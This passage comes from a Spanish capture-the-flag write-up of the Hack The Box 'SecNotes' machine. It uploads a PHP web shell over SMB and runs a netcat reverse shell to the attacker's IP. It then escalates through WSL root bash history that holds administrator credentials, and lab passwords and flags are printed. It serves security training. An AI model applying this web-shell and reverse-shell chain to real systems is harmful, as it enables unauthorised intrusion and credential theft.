SMB         10.10.10.97     445    SECNOTES         [+] SECNOTES\tyler:92g!mA8BGjOirkL%OG*&
```

Las credenciales son validas, por ende vamos a proceder a listar los recursos compartidos via SMB con las credenciales mediante la herramienta `smbmap` con el siguiente comando:

```bash
smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'
```

El comando se estructura de la siguiente manera:

```bash
smbmap -H {IP o host} -u '{Username}' -p '{Password}'
```

Ejecutamos:

```
❯ smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 10.10.10.97:445 Name: 10.10.10.97               Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        new-site                                                READ, WRITE
[*] Closed 1 connections
```

Tenemos varios recursos compartidos, entre ellos el recurso "new-site", donde tenemos permisos de escritura(WRITE) y lectura(READ) y tambien tenemos el recurso "IPC$" donde solo tenemos permisos de lectura con el usuario "tyler".

Vamos a ejecutar el mismo comando de smbmap, pero espceificandole como parametro el recurso "new-site":

```bash
smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' -r new-site
```

Ejecutamos:

```bash
❯ smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' -r new-site

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 10.10.10.97:445 Name: 10.10.10.97               Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        new-site                                                READ, WRITE
        ./new-site
        dr--r--r--                0 Thu Feb 20 19:05:08 2025    .
        dr--r--r--                0 Thu Feb 20 19:05:08 2025    ..
        fr--r--r--              696 Thu Jun 21 17:15:36 2018    iisstart.htm
        fr--r--r--            98757 Thu Jun 21 17:15:38 2018    iisstart.png
[*] Closed 1 connections
```

En el recurso compartido "new-site", tenemos 2 archivos

```
iisstart.png
iisstart.htm
```

El nombre de estos archivos, hacen referencia al puerto 8808 que escaneamos con Nmap:

```bash
8808/tcp open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Son 2 archivos que se estan ejecutando dentro de la pagina del host objetivo dentro del puerto 8808

Si nos fijamos bien, tenemos permisos de ESCRITURA y LECTURA, osea que podemos tanto ver archivos, como ejecutar y subir archivos, por lo que tambien si prestamos atención al escaneo que realizamos en whatweb de las tecnologias web, esta pagina web, esta realizada en PHP, podemos subir un archivo malicioso en PHP que nos de una shell mediante el recurso compartido "new-site" donde podemos subir archivos

Por ende, vamos a crear un archivo .PHP dentro de nuestro Kali con el siguiente codigo malicioso:

```php
<?php
        echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

[Codigo PHP de reverse shell en GitHub](https://github.com/ttomiid/php-basic-reverse-shell/blob/main/reverse_shell%2Cphp)

```bash
❯ vim reverse_shell.php
❯ cat reverse_shell.php
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: reverse_shell.php
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ <?php
   2   │         echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
   3   │ ?>
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

```

Una vez creado el archivo PHP, vamos a conectarnos por SMB al recurso "new-site" mediante la herramienta `smbclient` con el siguiente comando:

```
smbclient -U 'tyler%92g!mA8BGjOirkL%OG*&' //10.10.10.97/new-site
```

El comando se estructura de la siguiente manera:

```bash
smbclient -U '{Username}%{Password}' //{IP}/{Recurso compartido}
```

Ejecutamos:

```bash
❯ smbclient -U 'tyler%92g!mA8BGjOirkL%OG*&' //10.10.10.97/new-site
Try "help" to get a list of possible commands.
smb: \> 
```

Si ejecutamos el comando "dir" para listar los directorios encontraremos los archivos que mencionamos anteriormente que estaban relacionados con el puerto 8808:

```bash
smb: \> dir
  .                                   D        0  Thu Feb 20 19:05:08 2025
  ..                                  D        0  Thu Feb 20 19:05:08 2025
  iisstart.htm                        A      696  Thu Jun 21 12:26:03 2018
  iisstart.png                        A    98757  Thu Jun 21 12:26:03 2018

                7736063 blocks of size 4096. 3396666 blocks available
```

Vamos a subir el archivo malicioso, en mi caso, el archivo se llama "reverse\_shell.php". El comando a utilizar es "put"

```bash
put {Archivo}
```

Ejecutamos:

```bash
smb: \> put reverse_shell.php 
putting file reverse_shell.php as \reverse_shell.php (0.1 kb/s) (average 0.1 kb/s)
smb: \> 
```

El archivo ya esta subido, ahora podemos acceder al archivo PHP malicioso mediante el navegador Firefox, con la siguiente URL:

```
http://10.10.10.97:8808/reverse_shell.php?cmd={Comando a ejecutar}
```

Si insertamos esta URL en el navegador Firefox de nuestro Kali:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2F2d1XrPvDfysgytholmgQ%2Fimage.png?alt=media&#x26;token=57582af5-4d60-4904-9a50-665d3898d9f5" alt=""><figcaption></figcaption></figure>

Y somos el usuario Tyler, como si tuviéramos una shell dentro del navegador

## 3- Obtención de reverse shell con el archivo PHP malicioso

### `3.1 Conexión con netcat`

Vamos a descargarnos `netcat` pra Windows ya que es una maquina Windows, y mediante SMB vamos a subir el binario de netcat

[Descarga binario de netcar para Windows](https://eternallybored.org/misc/netcat/)

Una vez descargado, vamos a subirlo mediante SMB con el comando "put", como hicimso anteriormente con el archivo PHP malicioso para obtener la reverse shell:

```bash
smb: \> put nc64.exe
putting file nc64.exe as \nc64.exe (51.6 kb/s) (average 51.6 kb/s)
smb: \> 
```

(Recordar subir el archivo "nc64.exe", el archivo "nc.exe" no)

Si volvemos al navegador Firefox donde teniamos la reverse shell en PHP y listamos directorios con el comando "dir" dentro de la URL, concretamente en el parametro "?cmd="

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FRSwmfYQOqwMNgNEaWmie%2Fimage.png?alt=media&#x26;token=b7e1d81e-6f44-4241-8f1f-a0fd912a84ea" alt=""><figcaption></figcaption></figure>

Verificamos que tenemos el archivo "nc64.exe" subido correctamente

Ahora vamos a ponernos en escucha por el puerto 443 dentro de nuestro Kali:

```bash
❯ nc -nlvp 443
listening on [any] 443 ...
```

Y vamos a volver al navegador Firefox para dentro de la URL, establecer la conexión en el parametro correspondiente:

```
10.10.10.97:8808/reverse_shell.php?cmd=nc64.exe 10.10.14.9 443 -e cmd.exe
```

Estructura de la URL:

```
10.10.10.97:8808/reverse_shell.php?cmd=nc64.exe {IP destino} {Puerto destino} -e {Programa a ejecutar}
```

(En este caso estariamos ejecutando un CMD)

Ejecutamos  y quedaria cargando la pagina:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FT7y719flBnIUuKuoGkSo%2Fimage.png?alt=media&#x26;token=3c646be3-20dc-4700-ac68-8b3c4339a2ac" alt=""><figcaption></figcaption></figure>

Pero si volvemos a la terminar de Kali donde teniamos en escucha netcat por el puerto 443, veremos que nos dio acceso a un CMD de Windows:

```bash
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.97] 55608
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\new-site>
```

```bash
C:\inetpub\new-site>whoami
whoami
secnotes\tyler

C:\inetpub\new-site>
```

### `3.2 Obtención de la flag usuario`

La ruta donde se encuentra la flag de usuario para reclamarla en Hack The Box es:

```bash
C:\inetpub\new-site>whoami
whoami
secnotes\tyler

C:\inetpub\new-site>cd ..
cd ..

C:\inetpub>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\inetpub

06/21/2018  05:47 PM    <DIR>          .
06/21/2018  05:47 PM    <DIR>          ..
06/21/2018  12:10 PM    <DIR>          custerr
06/21/2018  02:00 PM    <DIR>          history
06/21/2018  05:47 PM    <DIR>          logs
02/20/2025  02:51 PM    <DIR>          new-site
06/21/2018  05:47 PM    <DIR>          temp
02/17/2021  07:19 AM    <DIR>          wwwroot
               0 File(s)              0 bytes
               8 Dir(s)  13,913,300,992 bytes free

C:\inetpub>cd ..
cd ..

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\

06/21/2018  02:07 PM    <DIR>          Distros
06/21/2018  05:47 PM    <DIR>          inetpub
06/22/2018  01:09 PM    <DIR>          Microsoft
04/11/2018  03:38 PM    <DIR>          PerfLogs
06/21/2018  07:15 AM    <DIR>          php7
01/26/2021  02:39 AM    <DIR>          Program Files
01/26/2021  02:38 AM    <DIR>          Program Files (x86)
06/21/2018  02:07 PM       201,749,452 Ubuntu.zip
06/21/2018  02:00 PM    <DIR>          Users
01/26/2021  02:38 AM    <DIR>          Windows
               1 File(s)    201,749,452 bytes
               9 Dir(s)  13,913,300,992 bytes free

C:\>cd users    
cd users

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\Users

06/21/2018  02:00 PM    <DIR>          .
06/21/2018  02:00 PM    <DIR>          ..
01/25/2021  07:45 AM    <DIR>          Administrator
06/21/2018  01:55 PM    <DIR>          DefaultAppPool
06/21/2018  12:23 PM    <DIR>          new
06/21/2018  02:00 PM    <DIR>          newsite
06/21/2018  01:12 PM    <DIR>          Public
08/19/2018  09:54 AM    <DIR>          tyler
06/21/2018  01:55 PM    <DIR>          wayne
               0 File(s)              0 bytes
               9 Dir(s)  13,913,300,992 bytes free

C:\Users>cd tyler
cd tyler

C:\Users\tyler>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\Users\tyler

08/19/2018  09:54 AM    <DIR>          .
08/19/2018  09:54 AM    <DIR>          ..
08/19/2018  09:49 AM                 0 .php_history
06/22/2018  03:29 AM                 8 0
08/19/2018  02:51 PM    <DIR>          3D Objects
08/19/2018  10:10 AM    <DIR>          cleanup
08/19/2018  02:51 PM    <DIR>          Contacts
08/19/2018  02:51 PM    <DIR>          Desktop
08/19/2018  02:51 PM    <DIR>          Documents
08/19/2018  02:51 PM    <DIR>          Downloads
08/19/2018  02:51 PM    <DIR>          Favorites
08/19/2018  02:51 PM    <DIR>          Links
08/19/2018  02:51 PM    <DIR>          Music
04/09/2021  05:09 AM    <DIR>          OneDrive
08/19/2018  02:51 PM    <DIR>          Pictures
08/19/2018  02:51 PM    <DIR>          Saved Games
08/19/2018  02:51 PM    <DIR>          Searches
02/20/2025  01:42 PM    <DIR>          secnotes_contacts
08/19/2018  02:51 PM    <DIR>          Videos
               2 File(s)              8 bytes
              17 Dir(s)  13,913,300,992 bytes free

C:\Users\tyler>cd Desktop
cd Desktop

C:\Users\tyler\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\Users\tyler\Desktop

08/19/2018  02:51 PM    <DIR>          .
08/19/2018  02:51 PM    <DIR>          ..
06/22/2018  02:09 AM             1,293 bash.lnk
08/02/2021  02:32 AM             1,210 Command Prompt.lnk
04/11/2018  03:34 PM               407 File Explorer.lnk
06/21/2018  04:50 PM             1,417 Microsoft Edge.lnk
06/21/2018  08:17 AM             1,110 Notepad++.lnk
02/20/2025  12:45 PM                34 user.txt
08/19/2018  09:59 AM             2,494 Windows PowerShell.lnk
               7 File(s)          7,965 bytes
               2 Dir(s)  13,913,296,896 bytes free

C:\Users\tyler\Desktop>type user.txt
type user.txt
9359a0c4fea8ebf6508ab502136abe9d

C:\Users\tyler\Desktop>

```

Dentro de la carpeta personal del usuario Tyler, en el escritorio, el archivo llamado "user.txt" contiene la flag de usuario

## 4- Escalada de privilegios

Si vamos a la carpeta del Escritorio del usuario tyler, podremos ver que hay un acceso directo llamado "bash.lnk"

```bash
C:\Users\tyler\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\Users\tyler\Desktop

08/19/2018  02:51 PM    <DIR>          .
08/19/2018  02:51 PM    <DIR>          ..
06/22/2018  02:09 AM             1,293 bash.lnk
08/02/2021  02:32 AM             1,210 Command Prompt.lnk
04/11/2018  03:34 PM               407 File Explorer.lnk
06/21/2018  04:50 PM             1,417 Microsoft Edge.lnk
06/21/2018  08:17 AM             1,110 Notepad++.lnk
02/20/2025  12:45 PM                34 user.txt
08/19/2018  09:59 AM             2,494 Windows PowerShell.lnk
               7 File(s)          7,965 bytes
               2 Dir(s)  13,913,300,992 bytes free

```

Por el nombre podriamos deducir que es una bash de GNU/Linux, por lo que en este sistema Windows, corre WSL(Windows Subsystem Linux), el subsistema de Linux dentro de Windows

Vamos a visualizar que es lo que contiene el archivo "bash.lnk" con el comando "type":

```bash
C:\Users\tyler\Desktop>type bash.lnk
type bash.lnk
L�F w������V�   �v(���  ��9P�O� �:i�+00�/C:\V1�LIWindows@       ﾋL���LI.h���&WindowsZ1�L<System32B      ﾋL���L<.p�k�System32▒Z2��LP� bash.exeB  ﾋL<��LU.�Y����bash.exe▒K-JںݜC:\Windows\System32\bash.exe"..\..\..\Windows\System32\bash.exeC:\Windows\System32�%�
                                                                                          �wN�▒�]N�D.��Q���`�Xsecnotesx�<sAA��㍧�o�:u��'�/�x�<sAA��㍧�o�:u��'�/�=     �Y1SPS�0��C�G����sf"=dSystem32 (C:\Windows)�1SPS��XF�L8C���&�m�q/S-1-5-21-1791094074-1363918840-4199337083-1002�1SPS0�%��G▒��`����%
        bash.exe@������
                       �)
                         Application@v(���      �i1SPS�jc(=�����O�▒�MC:\Windows\System32\bash.exe91SPS�mD��pH�H@.�=x�hH�(�bP
C:\Users\tyler\Desktop>

```

Si miramos bien lo que nos devuelve el comando, podremos ver que hay un archivo "bash.exe", dentro de la siguiente ruta "C:\Windows\System32\bash.exe"

Vamos a movernos a la ruta encontrada:

```bash
C:\Users\tyler\Desktop>cd /Windows/System32    
cd /Windows/System32

C:\Windows\System32>
```

Y ejecutamos el archivo "bash.exe" previamente mencionado:

```bash
C:\Windows\System32>bash.exe
bash.exe
mesg: ttyname failed: Inappropriate ioctl for device

```

Si ejecutamos el comando "whoami":

```bash
C:\Windows\System32>bash.exe
bash.exe
mesg: ttyname failed: Inappropriate ioctl for device
whoami
root
```

Somos usuarios root

Pero como podemos ver, no tenemos un prompt dentro de esta consola, vamos a ganarnos un prompt con el siguiente comando:

```bash
script /dev/null -c bash
```

Ejecutamos:

```bash
C:\Windows\System32>bash.exe
bash.exe
mesg: ttyname failed: Inappropriate ioctl for device
whoami
root
script /dev/null -c bash
Script started, file is /dev/null
root@SECNOTES:~# 
```

Ya tendríamos un prompt

Si listamos los directorios ocultos con el comando "ls -la":

```bash
root@SECNOTES:~# ls -la
ls -la
total 8
drwx------ 1 root root  512 Jun 22  2018 .
drwxr-xr-x 1 root root  512 Jun 21  2018 ..
---------- 1 root root  398 Jun 22  2018 .bash_history
-rw-r--r-- 1 root root 3112 Jun 22  2018 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
drwxrwxrwx 1 root root  512 Jun 22  2018 filesystem
root@SECNOTES:~# 
```

Vemos que hay un archivo oculto llamado ".bash\_history" que contiene el historial de la bash, si la visualizamos con el comando "cat", tambien podriamos ejecutar el comando "history", es lo mismo:

```bash
root@SECNOTES:~# cat .bash_history
cat .bash_history
cd /mnt/c/
ls
cd Users/
cd /
cd ~
ls
pwd
mkdir filesystem
mount //127.0.0.1/c$ filesystem/
sudo apt install cifs-utils
mount //127.0.0.1/c$ filesystem/
mount //127.0.0.1/c$ filesystem/ -o user=administrator
cat /proc/filesystems
sudo modprobe cifs
smbclient
apt install smbclient
smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
> .bash_history 
less .bash_history
exit
root@SECNOTES:~# 
```

Vemos que hay unas credenciales para conectarnos mediante SMB

```bash
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
```

Vamos a conectarnos mediante SMB con estas credenciales al recurso compartido "C$" con el siguiente comando dentro de nuestra maquina Linux en una consola nueva:

```bash
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$
```

Ejecutamos:

```bash
❯ smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$
Try "help" to get a list of possible commands.
smb: \>
```

Nos conecta correctamente

### `4.1  Obtención de la flag root`

La flag de root se encuentra en la siguiente ruta:

```bash
❯ smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$
Try "help" to get a list of possible commands.
smb: \> ls
  $Recycle.Bin                      DHS        0  Thu Jun 21 19:24:29 2018
  bootmgr                          AHSR   395268  Fri Jul 10 08:00:31 2015
  BOOTNXT                           AHS        1  Fri Jul 10 08:00:31 2015
  Config.Msi                        DHS        0  Mon Jan 25 12:24:50 2021
  Distros                             D        0  Thu Jun 21 19:07:52 2018
  Documents and Settings          DHSrn        0  Fri Jul 10 09:21:38 2015
  inetpub                             D        0  Thu Jun 21 22:47:33 2018
  Microsoft                           D        0  Fri Jun 22 18:09:10 2018
  pagefile.sys                      AHS 738197504  Thu Feb 20 17:44:09 2025
  PerfLogs                            D        0  Wed Apr 11 20:38:20 2018
  php7                                D        0  Thu Jun 21 12:15:24 2018
  Program Files                      DR        0  Tue Jan 26 07:39:51 2021
  Program Files (x86)                DR        0  Tue Jan 26 07:38:26 2021
  ProgramData                        DH        0  Sun Aug 19 18:56:49 2018
  Recovery                         DHSn        0  Thu Jun 21 18:52:17 2018
  swapfile.sys                      AHS 16777216  Thu Feb 20 17:44:09 2025
  System Volume Information         DHS        0  Thu Jun 21 18:53:13 2018
  Ubuntu.zip                          A 201749452  Thu Jun 21 19:07:28 2018
  Users                              DR        0  Thu Jun 21 19:00:39 2018
  Windows                             D        0  Tue Jan 26 07:38:46 2021

                7736063 blocks of size 4096. 3396621 blocks available
smb: \> cd Users\
smb: \Users\> ls
  .                                  DR        0  Thu Jun 21 19:00:39 2018
  ..                                 DR        0  Thu Jun 21 19:00:39 2018
  Administrator                       D        0  Mon Jan 25 12:45:33 2021
  All Users                       DHSrn        0  Wed Apr 11 20:45:03 2018
  Default                           DHR        0  Thu Jun 21 18:52:17 2018
  Default User                    DHSrn        0  Wed Apr 11 20:45:03 2018
  DefaultAppPool                      D        0  Thu Jun 21 18:55:22 2018
  desktop.ini                       AHS      174  Wed Apr 11 20:36:38 2018
  new                                 D        0  Thu Jun 21 17:23:17 2018
  newsite                             D        0  Thu Jun 21 19:00:40 2018
  Public                             DR        0  Thu Jun 21 18:12:08 2018
  tyler                               D        0  Sun Aug 19 14:54:37 2018
  wayne                               D        0  Thu Jun 21 18:55:26 2018

                7736063 blocks of size 4096. 3396633 blocks available
smb: \Users\> cd Administrator\
smb: \Users\Administrator\> ls
  .                                   D        0  Mon Jan 25 12:45:33 2021
  ..                                  D        0  Mon Jan 25 12:45:33 2021
  3D Objects                         DR        0  Sun Aug 19 14:01:17 2018
  AppData                            DH        0  Thu Feb 20 17:45:08 2025
  Application Data                DHSrn        0  Thu Jun 21 21:49:32 2018
  Contacts                           DR        0  Sun Aug 19 14:01:17 2018
  Cookies                         DHSrn        0  Thu Jun 21 21:49:32 2018
  Desktop                            DR        0  Tue Jan 26 07:39:01 2021
  Documents                          DR        0  Sun Aug 19 14:01:17 2018
  Downloads                          DR        0  Mon Jan 25 12:47:29 2021
  Favorites                          DR        0  Sun Aug 19 14:01:17 2018
  Links                              DR        0  Sun Aug 19 14:01:18 2018
  Local Settings                  DHSrn        0  Thu Jun 21 21:49:32 2018
  MicrosoftEdgeBackups               DH        0  Mon Jan 25 12:45:33 2021
  Music                              DR        0  Sun Aug 19 14:01:17 2018
  My Documents                    DHSrn        0  Thu Jun 21 21:49:32 2018
  NetHood                         DHSrn        0  Thu Jun 21 21:49:32 2018
  NTUSER.DAT                        AHn  1310720  Thu Feb 20 17:45:12 2025
  ntuser.dat.LOG1                   AHS   340992  Thu Jun 21 21:49:32 2018
  ntuser.dat.LOG2                   AHS   340992  Thu Jun 21 21:49:32 2018
  NTUSER.DAT{3eb2f144-75be-11e8-91df-080027cb2f82}.TM.blf    AHS    65536  Thu Jun 21 21:49:32 2018
  NTUSER.DAT{3eb2f144-75be-11e8-91df-080027cb2f82}.TMContainer00000000000000000001.regtrans-ms    AHS   524288  Thu Jun 21 21:49:32 2018
  NTUSER.DAT{3eb2f144-75be-11e8-91df-080027cb2f82}.TMContainer00000000000000000002.regtrans-ms    AHS   524288  Thu Jun 21 21:49:32 2018
  ntuser.ini                         HS       20  Fri Jun 22 20:44:28 2018
  OneDrive                           DR        0  Thu Jun 21 17:01:39 2018
  Pictures                           DR        0  Sun Aug 19 14:01:17 2018
  PrintHood                       DHSrn        0  Thu Jun 21 21:49:32 2018
  Recent                          DHSrn        0  Thu Jun 21 21:49:32 2018
  Saved Games                        DR        0  Sun Aug 19 14:01:18 2018
  Searches                           DR        0  Sun Aug 19 14:01:17 2018
  SendTo                          DHSrn        0  Thu Jun 21 21:49:32 2018
  Start Menu                      DHSrn        0  Thu Jun 21 21:49:32 2018
  Templates                       DHSrn        0  Thu Jun 21 21:49:32 2018
  Videos                             DR        0  Sun Aug 19 14:01:17 2018

                7736063 blocks of size 4096. 3396633 blocks available
smb: \Users\Administrator\> cd Desktop\
smb: \Users\Administrator\Desktop\> ls
  .                                  DR        0  Tue Jan 26 07:39:01 2021
  ..                                 DR        0  Tue Jan 26 07:39:01 2021
  desktop.ini                       AHS      282  Sun Aug 19 14:01:17 2018
  Microsoft Edge.lnk                  A     1417  Fri Jun 22 20:45:06 2018
  root.txt                           AR       34  Thu Feb 20 17:45:08 2025

                7736063 blocks of size 4096. 3396633 blocks available

```

Dentro de la ruta "\Users\Administrator\Desktop\root.txt"

Y para guardar el archivo root.txt dentro de nuestro Kali, utilizamos el comando "get" para descargarlo

```bash
smb: \Users\Administrator\Desktop\> get root.txt 
getting file \Users\Administrator\Desktop\root.txt of size 34 as root.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \Users\Administrator\Desktop\> 
```

Salimos de smbclient con el comando "exit" y hacemos un "cat" al archivo "root.txt " para visualizar la flag de root e introducirla en Hack The Box

```bash
smb: \Users\Administrator\Desktop\> exit
❯ cat root.txt
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: root.txt
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ e0e220e3039da14abfd828d923b2d5d6
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

```

Con esto, concluimos la maquina "SecNotes" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis [redes sociales](https://writeups-ctfs.gitbook.io/writeup-ctf/mis-redes-sociales)

{% embed url="<https://www.hackthebox.com/achievement/machine/2243466/151>" %}
